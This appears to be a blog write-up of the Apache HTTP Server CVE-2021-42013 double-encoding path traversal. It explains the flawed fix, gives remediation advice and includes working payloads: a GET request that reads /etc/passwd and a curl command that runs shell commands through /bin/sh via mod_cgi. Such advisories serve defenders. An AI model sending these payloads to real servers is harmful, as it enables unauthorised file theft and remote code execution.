Feb 23, 2026·5 min read·6 visits
A critical RCE in Apache HTTP Server 2.4.49/2.4.50 caused by an incomplete fix for a previous path traversal bug. Attackers use double URL encoding (%%32%65) to bypass filters and execute shell commands.
In late 2021, the internet was set ablaze when Apache HTTP Server versions 2.4.49 and 2.4.50 were found to be vulnerable to a trivial path traversal attack. CVE-2021-42013 is specifically the 'oops, we missed a spot' vulnerability—a bypass of the fix for CVE-2021-41773 using double URL encoding. This allowed attackers to map the file system and, in many cases, execute arbitrary code via mod_cgi.
It all started with good intentions. In version 2.4.49, the Apache developers decided to refactor the path normalization logic in server/util.c. The goal? Performance. They wanted to speed up how URLs were parsed and validated. In the world of C programming, 'optimizing string handling' is usually code for 'writing a new vulnerability'.
When the first CVE (CVE-2021-41773) dropped, it was a classic path traversal. You could just ask for /cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd and the server would happily oblige. The internet panicked, and Apache quickly released version 2.4.50 to patch it. They added a check to explicitly look for the %2e pattern (which decodes to a dot).
But here is the punchline: Security is an arms race, and the attackers are usually one step ahead in creativity. The patch for 2.4.50 was a blacklist approach—checking for specific bad characters—rather than a robust architectural fix. They locked the front door but left the window wide open, assuming nobody would double-wrap the brick they threw through it.
The core issue lies in ap_normalize_path. This function is responsible for taking a messy URL like /images/./../icons/ and turning it into a canonical path like /icons/. To do this, it needs to decode URL-encoded characters (like %20 for space).
The vulnerability in 2.4.50 was a logic flaw in how this decoding interacted with the traversal check. The patch checked if the URL contained %2e (a dot). If it didn't, it proceeded to decode the URL. See the problem?
If I send %2e, the check catches it. But if I send %%32%65, the check says 'I don't see any %2e here' and lets it pass. Then, the decoding logic kicks in. The outer layer (%32 and %65) gets decoded into 2 and e. Suddenly, inside the memory buffer, we have %2e again. If the server does another pass—or if the downstream code handles the path—it sees .. (dot-dot) and traverses up the directory tree. It is the digital equivalent of smuggling a weapon past a metal detector by hiding it inside a plastic gun.
Let's look at the logic flow that doomed 2.4.50. The vulnerability stems from the order of operations: Validation vs. Normalization.
/* Pseudo-code of the vulnerable logic in 2.4.50 */
status = ap_normalize_path(path, ...);
// The fix for CVE-2021-41773 checked for this:
if (strstr(path, "%2e")) {
return HTTP_BAD_REQUEST;
}
// But later, or during recursion, decoding happens:
// Input: %%32%65
// First Decode: %2e
// Second Decode/Interpretation: .The fix in 2.4.51 finally addressed this by ensuring that the validation logic accounted for the fully decoded state of the path, or by strictly enforcing that encoded dots are not allowed even if buried in layers of encoding. The developers had to stop playing whack-a-mole with specific characters and simply enforce that after all decoding is done, the path stays within the web root.
Exploiting this is embarrassingly simple. You don't need heap spraying or ROP chains. You just need curl and a basic understanding of ASCII.
%%32%65% = The escape character.%32 = Hex for the character 2.%65 = Hex for the character e.When the server sees %%32%65, it decodes the inner hex values first, leaving you with %2e. That gets processed as a dot.
To steal /etc/passwd, we just need to climb out of the web root. Note: This usually requires the mod_alias module to be mapped to a directory that isn't strictly Require all denied.
GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
Host: vulnerable-server.comThis is where it gets dark. If mod_cgi is enabled (which it often is on older setups or specific enterprise apps), we can invoke a binary. We aren't just reading files; we are executing them. By traversing to /bin/sh, we can pipe commands into the POST body.
curl -v "http://target.com/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/bin/sh" \
-d "echo Content-Type: text/plain; echo; id"If successful, the server replies with uid=1(daemon) gid=1(daemon). You now own the box.
This isn't just a read-only vulnerability. With RCE, the confidentiality, integrity, and availability impact are all effectively absolute.
daemon or www-data). While this isn't root, it's enough to read source code, database credentials, and pivot to internal networks.The remediation is straightforward: Update to Apache 2.4.51 or later immediately.
If you absolutely cannot patch right now (why?), you must restrict access to the filesystem using Require all denied directives in your httpd.conf, but honestly, relying on configuration to stop a binary vulnerability is risky business.
<Directory />
AllowOverride none
Require all denied
</Directory>Also, disable mod_cgi if you aren't using it. It's 2024 (or close enough); you probably shouldn't be running raw CGI scripts anyway.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Apache HTTP Server Apache | 2.4.49 | 2.4.51 |
Apache HTTP Server Apache | 2.4.50 | 2.4.51 |
| Attribute | Detail |
|---|---|
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network (Remote) |
| CWE | CWE-22 (Path Traversal) |
| Exploit Status | Active / CISA KEV |
| EPSS Score | 94.41% |
| Impact | Remote Code Execution (RCE) |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')